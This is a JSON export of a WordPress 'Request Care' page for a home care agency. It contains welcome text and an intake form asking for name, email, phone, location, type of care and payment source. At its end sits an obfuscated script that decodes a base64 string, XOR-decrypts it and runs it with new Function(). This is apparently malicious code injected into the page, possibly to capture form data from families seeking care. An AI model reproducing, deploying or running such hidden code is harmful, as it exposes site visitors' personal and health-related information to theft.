{"id":3195,"date":"2026-06-30T13:59:11","date_gmt":"2026-06-30T13:59:11","guid":{"rendered":"https:\/\/customdemowebsites.com\/deloracare\/?page_id=3195"},"modified":"2026-07-09T18:34:50","modified_gmt":"2026-07-09T18:34:50","slug":"request-care","status":"publish","type":"page","link":"https:\/\/customdemowebsites.com\/deloracare\/request-care\/","title":{"rendered":"Request Care"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"3195\" class=\"elementor elementor-3195\" data-elementor-post-type=\"page\">\n\t\t\t\t<div class=\"elementor-element elementor-element-9c44591 e-flex e-con-boxed e-con e-parent\" data-id=\"9c44591\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-514def5 elementor-widget elementor-widget-heading\" data-id=\"514def5\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Delora Care, <span style=\"color:#FF7A00\"> A Helping Hearts Company Provides<\/span><\/h2>\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t<div class=\"elementor-element elementor-element-5bf43b3 e-flex e-con-boxed elementor-invisible e-con e-parent\" data-id=\"5bf43b3\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;,&quot;animation&quot;:&quot;fadeIn&quot;}\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t<div class=\"elementor-element elementor-element-3d2dea3 e-con-full e-flex elementor-invisible e-con e-child\" data-id=\"3d2dea3\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;animation&quot;:&quot;slideInLeft&quot;}\">\n\t\t\t\t<div class=\"elementor-element elementor-element-26ef686 elementor-widget elementor-widget-heading\" data-id=\"26ef686\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t\t<div class=\"elementor-heading-title elementor-size-default\">REQUEST Care<\/div>\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-11f3a28 elementor-widget__width-initial text-left text--mobileleft elementor-widget elementor-widget-tp-heading-title\" data-id=\"11f3a28\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"tp-heading-title.default\">\n\t\t\t\t\t<div class=\"heading heading_style heading_style6aa500619e3a7 style-1 \"  data-tp-gsap-heading-text=\"\" data-tp-gsap-sub-heading-text=\"\"><div class=\"sub-style\" ><div class=\"head-title heading-mobile-center\" > <h1  class=\"heading-title heading-mobile-center  \"  data-hover=\"Compassionate Home Care\">Compassionate Home Care<span class=\"title-s \"> For Your Loved Ones <\/span><\/h1><\/div><\/div><\/div>\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-1fc3c84 elementor-widget elementor-widget-text-editor\" data-id=\"1fc3c84\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t\t\t\t\t\tAt Delora Care, A Helping Hearts Company\u00a0 we know that ensuring the safety and comfort of your family members is your top priority. We provide dependable, physician guided, non-medical home care support specifically tailored for seniors, families, and veterans who wish to age gracefully at home with dignity and independence.\n\nWhether your loved one requires daily companionship, specialized personal care, or dedicated VA veteran support, our experienced care team is here to guide you through every option. Please take a moment to fill out our official family intake form directly below, and our care coordination team will reach out to you shortly to discuss your family&#8217;s unique needs.\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t<div class=\"elementor-element elementor-element-d509a16 e-con-full e-flex elementor-invisible e-con e-child\" data-id=\"d509a16\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;animation&quot;:&quot;slideInRight&quot;,&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t<div class=\"elementor-element elementor-element-7e7e1a1 elementor-widget__width-initial elementor-widget elementor-widget-shortcode\" data-id=\"7e7e1a1\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\"><div class=\"wpforms-container wpforms-container-full wpforms-render-modern\" id=\"wpforms-1396\"><form id=\"wpforms-form-1396\" class=\"wpforms-validate wpforms-form wpforms-ajax-form\" data-formid=\"1396\" method=\"post\" enctype=\"multipart\/form-data\" action=\"\/deloracare\/wp-json\/wp\/v2\/pages\/3195\" data-token=\"82a33666331391c5e39dbd8295e68949\" data-token-time=\"1789198433\"><noscript class=\"wpforms-error-noscript\">Please enable JavaScript in your browser to complete this form.<\/noscript><div class=\"wpforms-hidden\" id=\"wpforms-error-noscript\">Please enable JavaScript in your browser to complete this form.<\/div><div class=\"wpforms-field-container\"><div id=\"wpforms-1396-field_1-container\" class=\"wpforms-field wpforms-field-name\" data-field-id=\"1\"><fieldset><legend class=\"wpforms-field-label\">Name  <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/legend><div class=\"wpforms-field-row wpforms-field-large\"><div class=\"wpforms-field-row-block wpforms-first wpforms-one-half\"><input type=\"text\" id=\"wpforms-1396-field_1\" class=\"wpforms-field-name-first wpforms-field-required\" name=\"wpforms[fields][1][first]\" placeholder=\"First Name\" aria-errormessage=\"wpforms-1396-field_1-error\" required><label for=\"wpforms-1396-field_1\" class=\"wpforms-field-sublabel after wpforms-sublabel-hide\">First<\/label><\/div><div class=\"wpforms-field-row-block wpforms-one-half\"><input type=\"text\" id=\"wpforms-1396-field_1-last\" class=\"wpforms-field-name-last wpforms-field-required\" name=\"wpforms[fields][1][last]\" placeholder=\"Last Name\" aria-errormessage=\"wpforms-1396-field_1-last-error\" required><label for=\"wpforms-1396-field_1-last\" class=\"wpforms-field-sublabel after wpforms-sublabel-hide\">Last<\/label><\/div><\/div><\/fieldset><\/div><div id=\"wpforms-1396-field_2-container\" class=\"wpforms-field wpforms-field-layout\" data-field-id=\"2\"><div class=\"wpforms-field-layout-rows wpforms-field-large\"><div class=\"wpforms-layout-row\"><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_3-container\" class=\"wpforms-field wpforms-field-email\" data-field-id=\"3\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_3\">Email Address <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><input type=\"email\" id=\"wpforms-1396-field_3\" class=\"wpforms-field-medium wpforms-field-required\" name=\"wpforms[fields][3]\" placeholder=\"Email Address\" spellcheck=\"false\" aria-errormessage=\"wpforms-1396-field_3-error\" required><\/div><\/div><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_4-container\" class=\"wpforms-field wpforms-field-phone\" data-field-id=\"4\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_4\">Phone Number <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><input type=\"tel\" id=\"wpforms-1396-field_4\" class=\"wpforms-field-medium wpforms-field-required wpforms-smart-phone-field\" data-rule-smart-phone-field=\"true\" name=\"wpforms[fields][4]\" placeholder=\"Phone Number\" aria-label=\"Phone Number\" aria-errormessage=\"wpforms-1396-field_4-error\" required><\/div><\/div><\/div><div class=\"wpforms-layout-row\"><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_7-container\" class=\"wpforms-field wpforms-field-text\" data-field-id=\"7\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_7\">Client\u2019s General Location <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><input type=\"text\" id=\"wpforms-1396-field_7\" class=\"wpforms-field-large wpforms-field-required\" name=\"wpforms[fields][7]\" placeholder=\"Client\u2019s General Location\" aria-errormessage=\"wpforms-1396-field_7-error\" required><\/div><\/div><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_5-container\" class=\"wpforms-field wpforms-field-select wpforms-field-select-style-classic\" data-field-id=\"5\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_5\">Type of Care Needed <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><select id=\"wpforms-1396-field_5\" class=\"wpforms-field-large wpforms-field-required\" name=\"wpforms[fields][5]\" required=\"required\"><option value=\"\" class=\"placeholder\" disabled  selected='selected'>Type of Care Needed<\/option><option value=\"Personal Care Assistance\" >Personal Care Assistance<\/option><option value=\"Companion Care\" >Companion Care<\/option><option value=\"Dementia and Memory Care Support\" >Dementia and Memory Care Support<\/option><option value=\"Respite Care\" >Respite Care<\/option><option value=\"Facility Caregiver and Private Duty Support\" >Facility Caregiver and Private Duty Support<\/option><option value=\"Overnight Care\" >Overnight Care<\/option><option value=\"24 Hour and Extended Hour Care\" >24 Hour and Extended Hour Care<\/option><option value=\"Post Hospital, Rehab, and Transition Support\" >Post Hospital, Rehab, and Transition Support<\/option><option value=\"Transportation and Escort Assistance\" >Transportation and Escort Assistance<\/option><option value=\"Light Housekeeping and Home Support\" >Light Housekeeping and Home Support<\/option><option value=\"Meal Preparation and Nutrition Support\" >Meal Preparation and Nutrition Support<\/option><option value=\"Medication Reminders\" >Medication Reminders<\/option><option value=\"End of Life and Comfort Support\" >End of Life and Comfort Support<\/option><option value=\"Care Coordination and Family Communication\" >Care Coordination and Family Communication<\/option><option value=\"Safety Supervision and Fall Risk Support\" >Safety Supervision and Fall Risk Support<\/option><option value=\"Couples Care\" >Couples Care<\/option><option value=\"Veterans Support\" >Veterans Support<\/option><option value=\"Customized Care Plans\" >Customized Care Plans<\/option><\/select><\/div><\/div><\/div><div class=\"wpforms-layout-row\"><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_8-container\" class=\"wpforms-field wpforms-field-date-time\" data-field-id=\"8\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_8\">Preferred Start Date <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><div class=\"wpforms-datepicker-wrap\"><input type=\"text\" id=\"wpforms-1396-field_8\" class=\"wpforms-field-date-time-date wpforms-datepicker wpforms-field-required wpforms-field-medium\" data-date-format=\"m\/d\/Y\" data-disable-past-dates=\"0\" data-input=\"true\" name=\"wpforms[fields][8][date]\" placeholder=\"Preferred Start Date\" aria-errormessage=\"wpforms-1396-field_8-error\" required><a title=\"Clear Date\" data-clear class=\"wpforms-datepicker-clear\" style=\"display:none;\"><\/a><\/div><\/div><\/div><div class=\"wpforms-layout-column wpforms-layout-column-50\"><div id=\"wpforms-1396-field_9-container\" class=\"wpforms-field wpforms-field-text\" data-field-id=\"9\"><label class=\"wpforms-field-label\" for=\"wpforms-1396-field_9\">Preferred Schedule <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/label><input type=\"text\" id=\"wpforms-1396-field_9\" class=\"wpforms-field-medium wpforms-field-required\" name=\"wpforms[fields][9]\" placeholder=\"Preferred Schedule\" aria-errormessage=\"wpforms-1396-field_9-error\" required><\/div><\/div><\/div><\/div><\/div><div id=\"wpforms-1396-field_10-container\" class=\"wpforms-field wpforms-field-radio wpforms-list-2-columns\" data-field-id=\"10\"><fieldset><legend class=\"wpforms-field-label\">Is This Private Pay, Long-Term Care Insurance, or VA-Related? <span class=\"wpforms-required-label\" aria-hidden=\"true\">*<\/span><\/legend><ul id=\"wpforms-1396-field_10\" class=\"wpforms-field-required\"><li class=\"choice-1 depth-1\"><input type=\"radio\" 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We provide dependable, physician guided, non-medical home care support specifically tailored for seniors, families, and veterans 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_0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>